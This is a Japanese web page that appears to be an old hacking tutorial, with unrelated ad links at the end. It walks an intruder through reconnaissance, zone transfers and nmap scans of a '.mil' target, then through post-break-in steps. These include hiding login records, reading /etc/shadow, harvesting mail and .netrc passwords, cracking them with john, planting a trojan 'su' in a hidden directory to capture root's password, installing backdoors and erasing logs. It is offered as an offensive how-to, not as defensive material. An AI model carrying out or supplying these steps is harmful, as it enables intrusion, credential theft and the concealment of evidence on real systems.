応用Hacking通論


■踏み台確保

 特別講座<踏み台確保編>を参照せよ。

 

■ターゲッティング

 基礎ターゲッティング講座標準ターゲッティング講座応用ターゲッティング講座を参照せよ。

1、ターゲットの簡単な情報を集める(コマンドhost,finger)。

% host ipusiron.mil←商用ネットワーク環境の場合、メールとファイアウォールを同一システム上にある場合がある。

% host -l ipusiron.mil

% host -l -v -t any ipusirom.mil←hostコマンドは、nslookupコマンドとdigコマンドを組み合わせたものと同じぐらいの情報を集める。さらに、読みやすいフォーマットです。

% host -l ipusiron.mil | cut -f 4 -d" " > /tmp/ip-list

% finger ipusiron.mil

2、ターゲットの情報をさらに集める(コマンドwhois,nslookup,dig)。

% nslookup 192.168.1.1

% whois -n whois.arin.net (組織名)

% whois (DNSサーバ)@whois.arin.net

% whois (サーバ名)

% whois ""@whois.internic.net

% nslookup

> server (DNSサーバのIPアドレス)

> set type=any

> ls -d ipusiron.mil > /tmp/zone-list

% grep -I solaris zone-list | wc -l

% grep -I test zone-list | wc -l←テストシステムを探す。

3、ターゲットのサイトがあれば、熟読しておくと管理人のアドレスなどがわかるかもしれません。ソースを見ると、使用しているホームページ作成ソフトや更新頻度が分かるでしょう。

4、ターゲットを特定した後、ネットワークトポロジーを検査する。

$ traceroute ipusrion.mil

$ traceroute -S -p53 xxx.xxx.xxx.xxx←DNSクエリーのUDP53と指定する。

 

■侵入準備(スキャン)

1、pingスイープをする(例;Unixならばfping、WinならばPinger)

$ gping

$ gping 192 168 1 1 254

$ gping 192 168 1 1 254 | fping -a

# nmap -sP -PT80(ポート番号) 192.168.1.0/24←DMZに到達できる可能性が高いポート80

2、トレースルーティングをする。

$ traceroute www.ipusiron.mil

1 xxx.xxx.co.jp (xxx.xxx.xxx.xxx)

(中略)

4 xxxx.xxxx.com (192.168.0,1)←ターゲットのサーバの直前が192.168.0,1なので、これがルータだと分かる。

5 www.ipusiron.mil (192.168.2,100)

3、ルータにポートスキャンする。

# nmap -p1-25,80,512,515,2001,4001,6001,9001 (ルータのIPアドレス)←Ciscoのルータを検出する。Ciscoルータの特徴は、ポート23と2001にTelnetすると、”User Access Verijication”プロンプトが表示されることです。

# nmap -O -p13 -n xxx.xxx.xxx.xxx←TCPポート13がオープンである時、-OオプションをつけてOSを特定する。

# finger -l @<host>

4、ターゲットサーバにポートスキャンをする(サービス、OSの特定)。←標準ポートスキャン講座を参照せよ。

# nmap -sS xxx.xxx.xxx.xxx (-D)←SYNスキャン(検出できない可能性あり)。Dオプションは、デコイ機能。

# nmap -o xxx.xxx.xxx.xxx

# namp -p80 -o xxx.xxx.xxx.xxx←ターゲットサーバがポートをオープンしてない場合にもOS推測可能(精度は落ちる)。

# rpcinfo -p xxx.xxx.xxx.xxx

5、NFSのサービスを提供しているならば、以下のコマンドでさらに情報を得る。

# rsers xxx.xxx.xxx.xxx

# showmount -e xxx.xxx.xxx.xxx

# pscan -n xxx.xxx.xxx.xxx

6、OSがWindowsNTの時は、ダメ元でブルートフォースアタック(詳細は、基礎ブルートフォースアタック講座を参照せよ)を試して見る。成功したらここから読んでください。実際にWindowsNTネットワークの多くには少なくとも1台はAdministratorアカウントのパスワードがnull(空白)のままのサーバやワークステーションがあるのが実態らしい。

 

■侵入直前

1、ターゲットサーバのOSのセキュリティーホールを調べておく。

2、ターゲットサーバに合うExploitやログ消しなどを手に入れる。

3、必要ならば、SnifferやTrojanやBackdoorを用意しておく。

 

■リモートからアタック

1、ブルート・フォース・アタックを試みる(Joeやrootのデフォルトパスワードを試す程度)。

2、リモート・スタック・オーバーフローを利用する(特別講座<リモートスタックオーバーフロー編>を参照せよ)。

もし、rootを手に入れたらこちら、ユーザ権限を手に入れたらこちらを見てください。

 

■侵入成功(root権限はまだ奪取していない場合)

1、lastloginを消しておく。

[ipusiron@ipusiron hack]$ telnet localhost(自分のIPアドレスは192.168.1.3で、侵入しているサーバのIPアドレスは192.168.1.2とする)

Trying 127.0.0.1...

Connected to localhost.localdomain.

Escape character is '^]'.

 

Vine Linux 2.0 (Sociando-Mallet)

Kernel 2.2.14-1vl6 on an i686

login: ipusiron

Password:

Last login: Wed Sep 20 09:19:43 from 192.168.1.3

[ipusiron@ipusiron ipusiron]$ exit

Connection closed by foreign host.

[ipusiron@ipusiron hack]$ last ipusiron | head -1

ipusiron pts/1 localhost.locald Wed Sep 20 09:22 - 09:24 (00:01)←lastloginをごまかしできた!

2、一応、/etc/passwdを見に行く。

[ipusiron@ipusiron hack]$ cat < /etc/passwd

シャドーパスワードでなかったら、即johnでパスクラックする。

3、コマンドwまたはwhoを使う。

[ipusiron@ipusiron hack]$ who

ipusiron pts/0 Sep 20 08:24

4、コマンドidやwhoamiを使って、自分自身を調べる。

[ipusiron@ipusiron hack]$ id

uid=500(ipusiron) gid=500(ipusiron)

[ipusiron@ipusiron hack]$ whoami

ipusiron

5、Sendmailの共有スペースの/var/spool/mailに行って、おもしろいメールがあるかどうか調べる。ちなみに、qmailの培は、ユーザのホームディレクトリ内のmboxで見れます。

[ipusiron@ipusiron hack]$ cat /var/spool/mail/ipusiron

6、各ユーザのドットファイルを除く。

[ipusiron@ipusiron hack]$ cat /home/ipusrion/.fetcmail←メールサーバのIDとPasswordがGetできる!

[ipusiron@ipusiron hack]$ cat /home/ipusiron/.netrc←rシステムのログインに使うサーバアドレス、ID、PasswordがGetできる!

7、OS情報を調べる。

[ipusiron@ipusiron hack]$ uname -a

Linux ipusiron.mil 2.2.14-1vl6 #1 Mon Mar 13 18:39:36 JST 2000 i686 unknown

8、設定ファイルを見てみる。

[ipusiron@ipusiron hack]$ cat /etc/inetd.conf | more

[ipusiron@ipusiron hack]$ cat /etc/services | more

[ipusiron@ipusiron hack]$ cat /etc/syslog.conf | more

[ipusiron@ipusiron hack]$ cat /etc/shadow | more

[ipusiron@ipusiron hack]$ cat /etc/master.passwd | more

9、Sendmailのバージョンを確認する。

[ipusiron@ipusiron hack]$ /usr/sbin/sendmail -d0.1 < /dev/null

($ echo | /usr/lib/sendmail -d0.1でも可)

Version 8.9.3+3.2W

(中略)

10、HTTPdのバージョンを調べる。

[ipusiron@ipusiron hack]$ /usr/sbin/httpd -v

11、各OS、各バージョン、各デーモンに合ったExploitを探しておき、それを実行してroot権限を奪取する。

12、TrojanでrootのパスワードをGetする(標準Trojan講座を参照せよ)。

% uname -a←OSを調べる。

% cat >sut.c

...(コピペ)

^D

% cc sut.c -o su

% pwd

/home/ipusiron

% mkdir .kon←隠すためのディレクトリを作る

% cd .kon

% mv su .kon

% rm sut.c

% vi .cshrc←パスを設定する。

set path=(/home/ipusiron/.kon (中略))←下線部が追加したところ

% source .cshrc←これで.cshrcを反映させる。

これで完了。後は、誰かがsuを実行するのを待つのみ。

 

■侵入成功(root権限は奪取した)

1、好きなことをしてしましょう。

2、Backdoorを仕掛ける。

3、ログを消す(特別講座<Log消し編>を参照せよ)。

4、今まで使った、TrojanやExploitなどは削除しておく。

 


■参考文献


戻る

あなたの悩み解決します 過払い金の回収ならこちら 給料前でお金がない・・
[PR] | RMT葬式 費用高崎浦安大井町新越谷中国SEO対策消費者金融車 買取テンプレート沖縄旅行免許合宿二輪引越しプレゼントゴルフ会員権留学レーシックマッサージFXアフィリエイトFXホームページ制作デイトレード海外現地情報ハワイ旅行タイバンコクハワイ レンタカーベスト ハワイ ホテル レーツバリ島Hawaii hotelsHawaii Activitiesbhhrハワイホテルテキスト広告
【運営会社「パラダイムシフト」サービス】 ハワイ現地オプショナルツアーリラックマ) - ビジネスクラス航空券 - 格安航空券(1) - 格安航空券(2) - 海外ホテル - 韓国旅行 - タイムシェア - ホテル 予約
無料ホームページ - 携帯ホームページ - 無料ホームページ作成 - レンタルサーバー - ブログ - ヴィラ - ハワイ コンドミニアム - バリ島 ホテル - プーケット ホテル - タイムセル - 口コミ - 格安国際電話 - ホノルルマラソン - サイトパトロール - 誹謗中傷 - 宿泊料金比較 - 口コミ